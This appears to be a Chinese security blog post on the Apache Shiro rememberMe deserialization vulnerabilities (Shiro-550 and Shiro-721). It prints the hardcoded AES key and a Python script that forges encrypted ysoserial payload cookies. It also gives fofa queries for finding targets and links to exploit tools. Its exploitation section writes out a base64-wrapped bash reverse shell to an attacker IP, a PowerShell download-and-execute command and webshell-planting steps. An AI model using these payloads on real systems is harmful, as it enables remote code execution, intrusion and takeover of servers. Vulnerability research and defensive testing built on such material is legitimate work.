zoukankan      html  css  js  c++  java
  • 一次关于shiro反序列化漏洞的思考

    0x01前言

    之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框架的反序列化漏洞

    当时没想继续说的,但是因为最近正好遇到了,就再来说说关于Apache shiro Java反序列化漏洞的一点思考(本文特指shiro rememberMe 硬编码密钥反序列化漏洞即shiro 550,不是Shiro Padding Oracle Attack那个shiro 721的----------------更新:shiro 721的内容在文末补充上了,师傅们捧个场啊)

     

    Apache shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

    三个核心组件:Subject,SecurityManager 和 Realms

    。。。。。。

    问题不在这里,问题出在哪里?在shiro1.24及其之前(小于等于1.24)的版本中,shiro框架存在反序列化漏洞(加密的用户信息序列化后存储在名为remember‐me的Cookie中,攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令)

    这是个16年的老洞了,但是由于其payload加密而且没啥攻击特征,所以放到现在仍然不过时(吧)

    0x02 漏洞原理

    补充上一点中所说,shiro框架有“记住我”的功能(rememberme),用户登录成功后会生成加密编码后的cookie,cookie是经过序列化,aes加密再base64编码处理后得到的,它的key值就是rememberme

    所以服务端对应这个处理顺序,逆过来处理就是先获取rememberme cookie,再解码base64,再解密aes,最后反序列化

    这个过程中,利用到了序列化与反序列化,但是此漏洞并不是有序列化反序列化这个过程,就能利用的,由流程可知,想要完整利用成功还需要aes密钥

    诶,问题就出在这个密钥身上

    众所周知,aes是一种对称加密算法,一旦密钥泄露后果不堪设想

    1.2.4之前aes密钥是硬编码在代码中的,base64编码后值就是这个kPH+bIxk5D2deZiIxcaaaA==,就是它没有第二个

    这不就完了吗,攻击者构造恶意对象序列化搞一波?

    (另:原则上来说只要你获得了rememberme的aes密钥key,一切版本shiro都有反序列化漏洞,尽管后面的shiro版本不再采用硬编码aes密钥,但是希望那些别有用心(别看我,我不知道)去GitHub中搜集别人开源框架中top多少多少shiro密钥的人耗子尾汁,没事搜一下setCipherKey(Base64.decode看看,是不是已经泄漏了,最好不要用网上的密钥(shiro key top100:https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA),自己生成不香吗)

    0x03漏洞发现

    抓包,如果返回包中set-cookie中如果发现rememberMe=deleteMe,那这就是一个shiro框架妥妥的,可以有端联想,大胆假设(或者发现url中有没有什么cas)

    fofa的搜索关键词:header="rememberme=deleteMe"、header="shiroCookie"什么的,可以看到大量相关站

     

    关于检测,网上有很多脚本工具

    思路大体都是先获得密钥(通过不讲武德所搜集到的泄露的KEY不断进行匹配测试。注:shiro 1.4.2之前采用aes-CBC加密,而1.4.2之后采用aes-GCM加密,这个写脚本代码加密时需要注意,两者加密方式的区别,要想写通用的脚本就要把两种加密都写上,参考: https://xz.aliyun.com/t/8445、https://blog.csdn.net/qq_34236803/article/details/110958868)

    然后借助ysoserial.jar生成payload,相应平台(ceye.io或dnslog.cn或JRMP)会收到各种请求

    比较常规的一个CBC加密编码脚本(这里采用了默认key,可以视情况更换)

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
    print "rememberMe={0}".format(payload.decode())

     运行:python 此脚本名.py IP:端口

    然后把生成的rememberMe=什么什么

    一并往请求包中的cookie里一扔,发过去

    执行java -cp ysoserial.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections4 “ping 某某某.dnslog.cn”    

     然后赶紧跑回去看www.dnslog.cn,refresh一下,如果成功会看到显示出的IP数据

     当然不一定就是我写的那个语句用CommonsCollections4,实际上具体利用链可能有不同,我只是说一下这个思路

    几个脚本工具,用于检测shiro反序列化漏洞:

    https://github.com/sv3nbeast/ShiroScan

    https://github.com/insightglacier/Shiro_exploit

    https://github.com/teamssix/shiro-check-rce

    两款被动burpsuite插件:

    https://github.com/pmiaowu/BurpShiroPassiveScan

    https://github.com/amad3u4/ShiroScanner/

    当然具体有哪些gadget可用,需要自行探测,每种情况下可以利用的gadget的数量和种类都是不同的 (什么CommonsCollections1、CommonsCollections2、CommonsCollections3、CommonsCollections4、CommonsCollections8、CommonsCollections10、CommonsBeanutils1等等。。。都是可能的,有些靶场固定了gadget的类型,方便你复现,但实际上不一定)

    此处推荐大佬图形化探测利用一体化工具,懒人福音:https://github.com/feihong-cs/ShiroExploit-Deprecated

    有key有可用的gadget,确实存在shiro反序列化漏洞,就可以开搞了

    如果目标服务器可以出网,可以尝试结合平台检测

    如果目标服务器不能出网,则选择回显检测

    shiro  的好基友是Tomcat,所以很多利用是结合Tomcat的,将问题转化为tomcat回显

    但是。。。结合tomcat的方法问题很多,生成的payload会过大啦,受到tomcat版本限制啦。。。

    可以参考:https://xz.aliyun.com/t/7535

     https://www.cnblogs.com/potatsoSec/p/13060261.html

    https://www.cnblogs.com/potatsoSec/p/13381019.html

    https://zhuanlan.zhihu.com/p/114625962

    0x04 漏洞利用

    常见利用方式

    1.反弹shell

    Linux下:

    举个例子,复现就不复现了,这辈子都不可能写复现的,很多师傅有详细过程,简单说一下流程

    原理和上述ping dnslog平台的原理一样,只不过把“ping 某某某.dnslog.cn”这个操作改成反弹shell的操作

    然后我一边反弹,另一边监听


    (1)先在攻击机本地监听某端口(例如2333)


    nc -lvp 2333

    bash -i >& /dev/tcp/192.168.25.203/2333 0>&1

    将上述命令base64编码后放到“编码后”处  bash -c {echo,编码后}|{base64,-d}|{bash,-i}

    即:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjIwMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}

     (2)然后执行(假设这里采用CommonsCollections4),通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjIwMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}'

     (3)脚本生成上文那种rememberMe=什么什么  的payload,加到cookie中发过去(注意:这次的  python 此脚本名.py IP:端口  这里的端口是6666)

     (4)然后我就会在nc监听的2333端口获得目标服务器shell

    windows下:

    则可以通过powershell

    powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:xxxx/xxx.xx'))......

    类似这种命令来联动一些CS啦、ps1啦来搞

    (上传下载的方法有很多,后续有空说说这部分)

     当然以上一切的前提是攻击机VPS、目标服务器网络条件允许,我能接收到此shell

    2.写入webshell

    可以找一个静态资源的URL ,比如网站的什么图片什么验证码什么的,往资源所在目录中写shell,或者往其他什么地方的已知的web路径写shell,然后访问webshell

    再次推荐飞鸿师傅的https://github.com/feihong-cs/ShiroExploit-Deprecated

     一步到位(另:不仅shiro550,shiro721也可以采用此工具利用,利用方式有所区别,具体参考开发者自述)

    这个马,可以是上面这个工具生成的,也可以是用什么蚁剑、冰蝎的马替换掉工具本身的马

    但是目前吧。。。文件类型的webshell已经退环境了,内存马还可一用

    可以参考此文:https://localhost01.blog.csdn.net/article/details/107340698

    参考文章:https://zhuanlan.zhihu.com/p/170393917

    2021.3.9内容补充

     -------------------------------------------------------------------------------------------------

    额,做人不能半途而废,,,

    翻来覆去睡不着。。。

    顺便把shiro 721的内容也补一下好了

    正如我前文所说( Padding Oracle Attack----POA):

    1.4.2及之前的shiro版本采用了aes-CBC加密,可以结合有效的RememberMe cookie作为Padding Oracle攻击的前缀,然后精⼼制作rememberMe来进⾏反序列化攻击

    有几个问题:

    padding oracle攻击干了点啥?       它可以在没有获得key的情况下,绕过密钥key实现对密文的加解密(具体实现机制请参考:https://zhuanlan.zhihu.com/p/94970620)

    那么为什么需要RememberMe cookie?    由于shiro要求先获取用户信息,获取有效用户信息之后才会进入下一阶段流程,所以需要RememberMe cookie

    翻译翻译什么TMD的叫TMD把“有效的rememberMe 作为Padding  Oracle攻击的。。。前缀”?  字面意思,为了不影响反序列化,把合法的rememberMe cookie做前缀,往rememberMe cookie数据后面加数据(详细参考:https://www.anquanke.com/post/id/193165)      

    所以,相比shiro 550 ,shiro 721 不需要知道key的值,但是需要合法用户的RememberMe cookie

    服务端处理流程还是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化

     

    首先需要登录网站从有效用户的cookie中获取rememberMe字段的值

    利用与检测方法参考:

    https://www.cnblogs.com/backlion/p/14077791.html

    https://www.cnblogs.com/xiaozi/p/13239046.html

    思路大体是获得合法的rememberMe cookie,用ysoserial生成payload,然后利用padding oracle 方法攻击脚本 结合 合法的rememberMe cookie与payload   生成恶意的rememberMe cookie,然后采用这个恶意的rememberMe cookie重放攻击目标,最后在目标中 生成文件 或 有dnslog 回显IP证明漏洞存在

    或者直接使用飞鸿师傅的那个工具:https://github.com/feihong-cs/ShiroExploit-Deprecated

     把获得的rememberMe cookie加进去

    未经允许,禁止转载

  • 相关阅读:
    Spring-Cloud-GateWay
    Spring-Clould-Alibaba-sentinel控制台
    Oacle学习-01Oracle的安装
    Spring-Clould-Alibaba-集成Ribbon&Feign
    Spring-Clould-Alibaba-nginx-nacos集群搭建
    Springboot整合Security
    Springboot实现QQ邮箱的发送
    java实现qq邮箱的发送
    Springboot集成Swagger2
    Hadoop集群搭建
  • 原文地址:https://www.cnblogs.com/lcxblogs/p/14410019.html
Copyright © 2011-2022 走看看